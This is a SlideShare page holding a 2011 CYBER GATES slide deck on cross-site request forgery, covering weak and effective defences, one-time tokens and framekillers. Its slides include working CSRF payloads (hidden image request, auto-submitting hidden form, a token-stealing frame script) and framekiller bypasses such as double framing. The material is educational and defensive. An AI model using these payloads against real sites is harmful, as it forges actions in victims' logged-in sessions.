SlideShare ist ein Scribd-Unternehmen logo
1 von 15
CROSS-SITE REQUEST FORGERY
      In-depth analysis                       2011




Copyright 2012 © CYBER GATES
Permission is granted to copy, distribute and/or
modify this document under the terms of the GNU
Free Documentation License
Cross-Site Request Forgery




The OWASP Top 10 Web Application Security Risks
 A1: Injection
 A2: Cross-Site Scripting (XSS)
 A3: Broken Authentication and Session
  Management
 A4: Insecure Direct Object References
 A5: Cross-Site Request Forgery (CSRF)
                                                    Security Risks
 A6: Security Misconfiguration
 A7: Insecure Cryptographic Storage                   2010
 A8: Failure to Restrict URL Access
 A9: Insufficient Transport Layer
  Protection
 A10: Unvalidated Redirects and
  Forwards




Cross-Site Request Forgery  CYBER GATES  Page 2
Cross-Site Request Forgery




Description
 Cross-Site Request Forgery (CSRF in short) is a kind of a
  web application vulnerability     which   allows    malicious
  website   to   send   unauthorized requests to a vulnerable
  website using active session of its authorized users.

Example
 <img src=”http://twitter.com/home?status=evil.com” style=”display:none”/>




Cross-Site Request Forgery  CYBER GATES  Page 3
Cross-Site Request Forgery




Example
<div style=“display:none”>
<iframe name=“hiddenFrame”></iframe>
<form name=“Form” action=“http://site.com/post.php”
  target=“hiddenFrame”
method=“POST”>
<input type=“text” name=“message” value=“I like www.evil.com” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>




Cross-Site Request Forgery  CYBER GATES  Page 4
Cross-Site Request Forgery




Usless defenses
 Only accept POST
This stops simple link-based attacks (IMG, frames, etc.).
But hidden POST requests can be created with frames, scripts, etc.
 Referrer checking
Some users prohibit referrers, so you can’t just require referrer
headers.
Techniques to selectively create HTTP request without referrers
exist.
 Requiring multi-step transactions
CSRF attack can perform each step in order.




Cross-Site Request Forgery  CYBER GATES  Page 5
Cross-Site Request Forgery




Solutions
 CAPTHCA systems
This is a type of challenge-response test used in computing to
ensure that the response is not generated by a computer.
 One-time tokens
Unlike the CAPTCHA systems this is a unique number stored in
the web form field and in session to compare them after the
form submission.




Cross-Site Request Forgery  CYBER GATES  Page 6
Cross-Site Request Forgery &
One-time tokens



Bypassing one-time tokens
<html><head><title>BAD.COM</title>
<script language="javascript">
function submitForm(){
var token = window.frames[0].document.forms["messageForm"].elements["token"].value;
var myForm = document.myForm;
myForm.token.value = token;
myForm.submit();
}</script></head>
<body onLoad="submitForm();">
<div style="display:none">
<iframe src="http://good.com/index.php"></iframe>
<form name="myForm" target="hidden" action=http://good.com/post.php method="POST">
<input type="text" name="message" value="I like www.bad.com" />
<input type="hidden" name="token" value="" />
<input type="submit" value="Post">
</form></div></body></html>

Same origin policy
Permission denied to access property 'document'
Cross-Site Request Forgery  CYBER GATES  Page 7
Cross-Site Request Forgery &
FrameKillers



Description
 FrameKillers are small piece of javascript        codes   used
  to protect web pages from being framed.

Example
 if (top.location != location){
         top.location = self.location;
 }




Cross-Site Request Forgery  CYBER GATES  Page 8
Cross-Site Request Forgery &
FrameKillers



Conditional statement
  if (top != self)
  if (top.location != self.location)
  if (top.location != location)
  if (parent.frames.length > 0)
  if (window != top)
  if (window.top !== window.self)
  if (window.self != window.top)
  if (parent && parent != window)
  if (parent && parent.frames && parent.frames.length>0)




Cross-Site Request Forgery  CYBER GATES  Page 9
Cross-Site Request Forgery &
FrameKillers



Counter-action statement
  top.location = self.location
  top.location.href = document.location.href
  top.location.replace(self.location)
  top.location.href = window.location.href
  top.location.replace(document.location)
  top.location.href = window.location.href
  top.location.href = "URL"
  document.write('')
  top.location.replace(document.location)
  top.location.replace('URL')
  top.location.replace(window.location.href)
  top.location.href = location.href
  self.parent.location = document.location
  parent.location.href = self.document.location

Cross-Site Request Forgery  CYBER GATES  Page 10
Cross-Site Request Forgery &
FrameKiller killers



FrameKiller killers
 Double framing
 <iframe src="second.html"></iframe>
 second.html
 <iframe src="http://www.site.com"></iframe>
 Using onBeforeUnload event
 <script>
 window.onbeforeunload=function(){
 return “do you want to leave this page?“;
 }
 </script>
 <iframe src="http://www.site.com"></iframe>




Cross-Site Request Forgery  CYBER GATES  Page 11
Cross-Site Request Forgery &
Best Practices



FrameKiller
 <style> html{ display : none; } </style>
 <script>
 if( self == top ) {
         document.documentElement.style.display='block';
 } else {
         top.location = self.location;
 }
 </script>

Note: This   protects    web application     even if an attacker browses   the webpage
With javascript disabled option in the browser.




Cross-Site Request Forgery  CYBER GATES  Page 12
Cross-Site Request Forgery




References
  Cross-Site Request Forgery
 http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
  Same Origin Policy
 http://en.wikipedia.org/wiki/Same_origin_policy
  FrameKiller(Frame Busting)
 http://en.wikipedia.org/wiki/Framekiller
 http://seclab.stanford.edu/websec/framebusting/framebust.pdf




Cross-Site Request Forgery  CYBER GATES  Page 13
CYBER GATES




Contacts
  Corporate website
 www.cybergates.am
  Company profile on Twitter
 www.twitter.com/CyberGatesLLC
  Company fan page on Facebook
 www.facebook.com/Cyber.Gates.page
  Company profile on LinkedIn
 www.linkedin.com/company/CyberGates-LLC
  Company channel on Vimeo
 www.vimeo.com/CyberGates
  Company channel on YouTube
 www.youtube.com/TheCyberGates




Cross-Site Request Forgery  CYBER GATES  Page 14
„Be one step ahead in Security.“




www.cybergates.am

Weitere ähnliche Inhalte

Was ist angesagt?

A4 A K S H A Y B H A R D W A J
A4    A K S H A Y  B H A R D W A JA4    A K S H A Y  B H A R D W A J
A4 A K S H A Y B H A R D W A J
bhardwajakshay
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
Ali Mattash
 

Was ist angesagt? (20)

CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
A4 A K S H A Y B H A R D W A J
A4    A K S H A Y  B H A R D W A JA4    A K S H A Y  B H A R D W A J
A4 A K S H A Y B H A R D W A J
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Web security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutionsWeb security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutions
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
A10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsA10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and Forwards
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Hack using firefox
Hack using firefoxHack using firefox
Hack using firefox
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 

Andere mochten auch (6)

OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgery
 
Presentacion de las costumbres africanas
Presentacion de las costumbres africanasPresentacion de las costumbres africanas
Presentacion de las costumbres africanas
 
Taller de aplicación. grupos etnicos
Taller de aplicación. grupos etnicosTaller de aplicación. grupos etnicos
Taller de aplicación. grupos etnicos
 
Sociales 5 3
Sociales 5 3Sociales 5 3
Sociales 5 3
 
Grupos etnicos colombianos - Quiénes son y sus problemáticas
Grupos etnicos colombianos - Quiénes son y sus problemáticasGrupos etnicos colombianos - Quiénes son y sus problemáticas
Grupos etnicos colombianos - Quiénes son y sus problemáticas
 
Taller nivelacion 3 periodo sociales quinto
Taller nivelacion 3 periodo sociales quintoTaller nivelacion 3 periodo sociales quinto
Taller nivelacion 3 periodo sociales quinto
 

Ähnlich wie CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
Seguridad Web by Jordan Diaz
Seguridad Web by Jordan DiazSeguridad Web by Jordan Diaz
Seguridad Web by Jordan Diaz
Jordan Diaz
 

Ähnlich wie CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011 (20)

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS Application
 
Xssandcsrf
XssandcsrfXssandcsrf
Xssandcsrf
 
Security 101
Security 101Security 101
Security 101
 
Advanced xss
Advanced xssAdvanced xss
Advanced xss
 
Seguridad Web by Jordan Diaz
Seguridad Web by Jordan DiazSeguridad Web by Jordan Diaz
Seguridad Web by Jordan Diaz
 
Web Aplication Vulnerabilities
Web Aplication Vulnerabilities Web Aplication Vulnerabilities
Web Aplication Vulnerabilities
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Click jacking
Click jackingClick jacking
Click jacking
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 

Mehr von Samvel Gevorgyan

Can you predict who will win the US election?
Can you predict who will win the US election?Can you predict who will win the US election?
Can you predict who will win the US election?
Samvel Gevorgyan
 

Mehr von Samvel Gevorgyan (10)

Websecurity fundamentals for beginners
Websecurity fundamentals for beginnersWebsecurity fundamentals for beginners
Websecurity fundamentals for beginners
 
Content Management System Security
Content Management System SecurityContent Management System Security
Content Management System Security
 
Information Security Management System in the Banking Sector
Information Security Management System in the Banking SectorInformation Security Management System in the Banking Sector
Information Security Management System in the Banking Sector
 
Five Ways to Improve Yandex.Taxi Service
Five Ways to Improve Yandex.Taxi ServiceFive Ways to Improve Yandex.Taxi Service
Five Ways to Improve Yandex.Taxi Service
 
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքումԲախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
 
Nagorno-karabakh clashes - four-day war in cyberspace
Nagorno-karabakh clashes - four-day war in cyberspaceNagorno-karabakh clashes - four-day war in cyberspace
Nagorno-karabakh clashes - four-day war in cyberspace
 
What is the Cybersecurity plan for tomorrow?
What is the Cybersecurity plan for tomorrow?What is the Cybersecurity plan for tomorrow?
What is the Cybersecurity plan for tomorrow?
 
Can you predict who will win the US election?
Can you predict who will win the US election?Can you predict who will win the US election?
Can you predict who will win the US election?
 
MAPY
MAPYMAPY
MAPY
 
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYANBEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
 

Kürzlich hochgeladen

Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
negromaestrong
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
ciinovamais
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptx
heathfieldcps1
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
kauryashika82
 
An Overview of Mutual Funds Bcom Project.pdf
An Overview of Mutual Funds Bcom Project.pdfAn Overview of Mutual Funds Bcom Project.pdf
An Overview of Mutual Funds Bcom Project.pdf
SanaAli374401
 
1029 - Danh muc Sach Giao Khoa 10 . pdf
1029 -  Danh muc Sach Giao Khoa 10 . pdf1029 -  Danh muc Sach Giao Khoa 10 . pdf
1029 - Danh muc Sach Giao Khoa 10 . pdf
QucHHunhnh
 

Kürzlich hochgeladen (20)

Unit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptxUnit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptx
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdf
 
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
 
Web & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdfWeb & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdf
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
 
This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.
 
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
 
fourth grading exam for kindergarten in writing
fourth grading exam for kindergarten in writingfourth grading exam for kindergarten in writing
fourth grading exam for kindergarten in writing
 
Nutritional Needs Presentation - HLTH 104
Nutritional Needs Presentation - HLTH 104Nutritional Needs Presentation - HLTH 104
Nutritional Needs Presentation - HLTH 104
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptx
 
Introduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The BasicsIntroduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The Basics
 
Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"
Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"
Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"
 
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17  How to Extend Models Using Mixin ClassesMixin Classes in Odoo 17  How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
 
An Overview of Mutual Funds Bcom Project.pdf
An Overview of Mutual Funds Bcom Project.pdfAn Overview of Mutual Funds Bcom Project.pdf
An Overview of Mutual Funds Bcom Project.pdf
 
1029 - Danh muc Sach Giao Khoa 10 . pdf
1029 -  Danh muc Sach Giao Khoa 10 . pdf1029 -  Danh muc Sach Giao Khoa 10 . pdf
1029 - Danh muc Sach Giao Khoa 10 . pdf
 
ICT Role in 21st Century Education & its Challenges.pptx
ICT Role in 21st Century Education & its Challenges.pptxICT Role in 21st Century Education & its Challenges.pptx
ICT Role in 21st Century Education & its Challenges.pptx
 
SECOND SEMESTER TOPIC COVERAGE SY 2023-2024 Trends, Networks, and Critical Th...
SECOND SEMESTER TOPIC COVERAGE SY 2023-2024 Trends, Networks, and Critical Th...SECOND SEMESTER TOPIC COVERAGE SY 2023-2024 Trends, Networks, and Critical Th...
SECOND SEMESTER TOPIC COVERAGE SY 2023-2024 Trends, Networks, and Critical Th...
 
INDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptx
INDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptxINDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptx
INDIA QUIZ 2024 RLAC DELHI UNIVERSITY.pptx
 

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

  • 1. CROSS-SITE REQUEST FORGERY In-depth analysis 2011 Copyright 2012 © CYBER GATES Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License
  • 2. Cross-Site Request Forgery The OWASP Top 10 Web Application Security Risks  A1: Injection  A2: Cross-Site Scripting (XSS)  A3: Broken Authentication and Session Management  A4: Insecure Direct Object References  A5: Cross-Site Request Forgery (CSRF) Security Risks  A6: Security Misconfiguration  A7: Insecure Cryptographic Storage 2010  A8: Failure to Restrict URL Access  A9: Insufficient Transport Layer Protection  A10: Unvalidated Redirects and Forwards Cross-Site Request Forgery  CYBER GATES  Page 2
  • 3. Cross-Site Request Forgery Description  Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability which allows malicious website to send unauthorized requests to a vulnerable website using active session of its authorized users. Example  <img src=”http://twitter.com/home?status=evil.com” style=”display:none”/> Cross-Site Request Forgery  CYBER GATES  Page 3
  • 4. Cross-Site Request Forgery Example <div style=“display:none”> <iframe name=“hiddenFrame”></iframe> <form name=“Form” action=“http://site.com/post.php” target=“hiddenFrame” method=“POST”> <input type=“text” name=“message” value=“I like www.evil.com” /> <input type=“submit” /> </form> <script>document.Form.submit();</script> </div> Cross-Site Request Forgery  CYBER GATES  Page 4
  • 5. Cross-Site Request Forgery Usless defenses  Only accept POST This stops simple link-based attacks (IMG, frames, etc.). But hidden POST requests can be created with frames, scripts, etc.  Referrer checking Some users prohibit referrers, so you can’t just require referrer headers. Techniques to selectively create HTTP request without referrers exist.  Requiring multi-step transactions CSRF attack can perform each step in order. Cross-Site Request Forgery  CYBER GATES  Page 5
  • 6. Cross-Site Request Forgery Solutions  CAPTHCA systems This is a type of challenge-response test used in computing to ensure that the response is not generated by a computer.  One-time tokens Unlike the CAPTCHA systems this is a unique number stored in the web form field and in session to compare them after the form submission. Cross-Site Request Forgery  CYBER GATES  Page 6
  • 7. Cross-Site Request Forgery & One-time tokens Bypassing one-time tokens <html><head><title>BAD.COM</title> <script language="javascript"> function submitForm(){ var token = window.frames[0].document.forms["messageForm"].elements["token"].value; var myForm = document.myForm; myForm.token.value = token; myForm.submit(); }</script></head> <body onLoad="submitForm();"> <div style="display:none"> <iframe src="http://good.com/index.php"></iframe> <form name="myForm" target="hidden" action=http://good.com/post.php method="POST"> <input type="text" name="message" value="I like www.bad.com" /> <input type="hidden" name="token" value="" /> <input type="submit" value="Post"> </form></div></body></html> Same origin policy Permission denied to access property 'document' Cross-Site Request Forgery  CYBER GATES  Page 7
  • 8. Cross-Site Request Forgery & FrameKillers Description  FrameKillers are small piece of javascript codes used to protect web pages from being framed. Example  if (top.location != location){ top.location = self.location; } Cross-Site Request Forgery  CYBER GATES  Page 8
  • 9. Cross-Site Request Forgery & FrameKillers Conditional statement  if (top != self)  if (top.location != self.location)  if (top.location != location)  if (parent.frames.length > 0)  if (window != top)  if (window.top !== window.self)  if (window.self != window.top)  if (parent && parent != window)  if (parent && parent.frames && parent.frames.length>0) Cross-Site Request Forgery  CYBER GATES  Page 9
  • 10. Cross-Site Request Forgery & FrameKillers Counter-action statement  top.location = self.location  top.location.href = document.location.href  top.location.replace(self.location)  top.location.href = window.location.href  top.location.replace(document.location)  top.location.href = window.location.href  top.location.href = "URL"  document.write('')  top.location.replace(document.location)  top.location.replace('URL')  top.location.replace(window.location.href)  top.location.href = location.href  self.parent.location = document.location  parent.location.href = self.document.location Cross-Site Request Forgery  CYBER GATES  Page 10
  • 11. Cross-Site Request Forgery & FrameKiller killers FrameKiller killers  Double framing <iframe src="second.html"></iframe> second.html <iframe src="http://www.site.com"></iframe>  Using onBeforeUnload event <script> window.onbeforeunload=function(){ return “do you want to leave this page?“; } </script> <iframe src="http://www.site.com"></iframe> Cross-Site Request Forgery  CYBER GATES  Page 11
  • 12. Cross-Site Request Forgery & Best Practices FrameKiller <style> html{ display : none; } </style> <script> if( self == top ) { document.documentElement.style.display='block'; } else { top.location = self.location; } </script> Note: This protects web application even if an attacker browses the webpage With javascript disabled option in the browser. Cross-Site Request Forgery  CYBER GATES  Page 12
  • 13. Cross-Site Request Forgery References  Cross-Site Request Forgery http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery  Same Origin Policy http://en.wikipedia.org/wiki/Same_origin_policy  FrameKiller(Frame Busting) http://en.wikipedia.org/wiki/Framekiller http://seclab.stanford.edu/websec/framebusting/framebust.pdf Cross-Site Request Forgery  CYBER GATES  Page 13
  • 14. CYBER GATES Contacts  Corporate website www.cybergates.am  Company profile on Twitter www.twitter.com/CyberGatesLLC  Company fan page on Facebook www.facebook.com/Cyber.Gates.page  Company profile on LinkedIn www.linkedin.com/company/CyberGates-LLC  Company channel on Vimeo www.vimeo.com/CyberGates  Company channel on YouTube www.youtube.com/TheCyberGates Cross-Site Request Forgery  CYBER GATES  Page 14
  • 15. „Be one step ahead in Security.“ www.cybergates.am